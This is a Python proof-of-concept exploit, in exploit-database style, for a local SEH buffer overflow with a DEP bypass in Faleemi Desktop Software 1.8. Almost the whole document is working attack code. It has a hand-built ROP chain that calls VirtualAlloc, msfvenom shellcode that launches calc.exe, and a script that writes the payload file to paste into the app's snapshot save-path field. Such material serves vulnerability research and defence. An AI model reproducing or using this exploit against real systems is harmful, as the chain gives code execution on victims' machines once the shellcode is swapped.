Faleemi Desktop Software 1.8 - Local Buffer Overflow (SEH) (DEP Bypass)

#!/usr/bin/python

# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Faleemi Desktop Software 1.8 - Local Buffer Overflow (SEH)(DEP Bypass)
# Date: 01-26-19
# Vulnerable Software: Faleemi Desktop Software 1.8
# Vendor Homepage: https://www.faleemi.com/
# Version: 1.8.0 
# Software Link 1: http://support.faleemi.com/fsc776/Faleemi_v1.8.exe
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. open/copy contents of faleemidep.txt  
# 3. open app, click on System Setup
# 4. paste contents of faleemidep.txt in "Save Path for Snapshot and Record file" field 
# 5. click on save
# 6. pop calc

# manually created ropchain based on mona.py 'rop.txt' and 'ropfunc.txt' finds
# practicing dep bypass by not using auto generated mona.py ropchains

# original seh poc from Gionathan "John" Reale, EDB: 45402

# badchars; \x00\x0a\x0d\x2f

import struct   
filename = "faleemidep.txt"

junk = "A" * 264

#0x6001ea7e # ADD ESP,0B34 # POP EBX # POP EBP # POP ESI # POP EDI # RETN
seh = "\x7e\xea\x01\x60"
fill = "C"*524 

#VirtualAlloc()
#EDI = ROP NOP (RETN)
rop = struct.pack('<L',0x60018221)  # POP EDI # RETN 
rop += struct.pack('<L',0x60018222) # ROP-NOP

#ECX = flProtect (0x40)
rop += struct.pack('<L',0x60047e71)  # POP ECX # RETN 
rop += struct.pack('<L',0xffffffff)  
for i in range(0,65): rop += struct.pack('<L',0x6004bcc7)  # INC ECX # RETN 

#ESI = ptr to VirtualAlloc()
rop += struct.pack('<L',0x6004aaca)  # POP EAX # RETN 
rop += struct.pack('<L',0x6004f0bc)  # ptr to &VirtualAlloc() 
rop += struct.pack('<L',0x68b88b96)  # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x73d63c82)  # XCHG EAX,ESI # RETN 
	
#EDX = flAllocationType (0x1000)
# Math 1)FFFFFFFF - 0cc48368 = 0F33B7C97 Math 2)0F33B7C97 + 1001 = F33B8C98)
rop += struct.pack('<L',0x68b832d3) # MOV EDX,0CC48368 # RETN 
rop += struct.pack('<L',0x60036b1c) # POP EBX # RETN 

rop += struct.pack('<L',0xF33B8C98)
rop += struct.pack('<L',0x6004e5ce)  # ADD EDX,EBX # POP EBX # RETN 0x10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN 10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN 10

#EBP = ReturnTo (ptr to jmp esp)
#!mona jmp -r esp -cpb '\x00\x0a\x0d\x2f'
rop += struct.pack('<L',0x68b901e9) # POP EBP # RETN 
rop += struct.pack('<L',0x73dd4206) # jmp esp 
      
#EBX = dwSize (0x1)
rop += struct.pack('<L',0x73dbfebc) # POP EBX # RETN 
rop += struct.pack('<L',0xffffffff) 
rop += struct.pack('<L',0x73dcbe1c) # INC EBX # XOR EAX,EAX # RETN
rop += struct.pack('<L',0x73dcbe1c) # INC EBX # XOR EAX,EAX # RETN

#EAX = NOP (0x90909090)
rop += struct.pack('<L',0x6004aaca)  # POP EAX # RETN
rop += struct.pack('<L',0x90909090)  # NOPs

#PUSHAD	
rop += struct.pack('<L',0x6004bd85) # PUSHAD # RETN

nops = "\x90"*10

#msfvenom -p windows/exec cmd=calc.exe -b "\x00\x0a\x0d\x2f" -f python
calc =  ""
calc += "\xd9\xf7\xb8\x0c\xa1\xba\x34\xd9\x74\x24\xf4\x5b\x29"
calc += "\xc9\xb1\x31\x31\x43\x18\x83\xc3\x04\x03\x43\x18\x43"
calc += "\x4f\xc8\xc8\x01\xb0\x31\x08\x66\x38\xd4\x39\xa6\x5e"
calc += "\x9c\x69\x16\x14\xf0\x85\xdd\x78\xe1\x1e\x93\x54\x06"
calc += "\x97\x1e\x83\x29\x28\x32\xf7\x28\xaa\x49\x24\x8b\x93"
calc += "\x81\x39\xca\xd4\xfc\xb0\x9e\x8d\x8b\x67\x0f\xba\xc6"
calc += "\xbb\xa4\xf0\xc7\xbb\x59\x40\xe9\xea\xcf\xdb\xb0\x2c"
calc += "\xf1\x08\xc9\x64\xe9\x4d\xf4\x3f\x82\xa5\x82\xc1\x42"
calc += "\xf4\x6b\x6d\xab\x39\x9e\x6f\xeb\xfd\x41\x1a\x05\xfe"
calc += "\xfc\x1d\xd2\x7d\xdb\xa8\xc1\x25\xa8\x0b\x2e\xd4\x7d"
calc += "\xcd\xa5\xda\xca\x99\xe2\xfe\xcd\x4e\x99\xfa\x46\x71"
calc += "\x4e\x8b\x1d\x56\x4a\xd0\xc6\xf7\xcb\xbc\xa9\x08\x0b"
calc += "\x1f\x15\xad\x47\x8d\x42\xdc\x05\xdb\x95\x52\x30\xa9"
calc += "\x96\x6c\x3b\x9d\xfe\x5d\xb0\x72\x78\x62\x13\x37\x76"
calc += "\x28\x3e\x11\x1f\xf5\xaa\x20\x42\x06\x01\x66\x7b\x85"
calc += "\xa0\x16\x78\x95\xc0\x13\xc4\x11\x38\x69\x55\xf4\x3e"
calc += "\xde\x56\xdd\x5c\x81\xc4\xbd\x8c\x24\x6d\x27\xd1"

pad = "D" * (7000-len(fill + rop + nops + calc))

buffer = junk + seh + fill + rop + nops + calc + pad

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()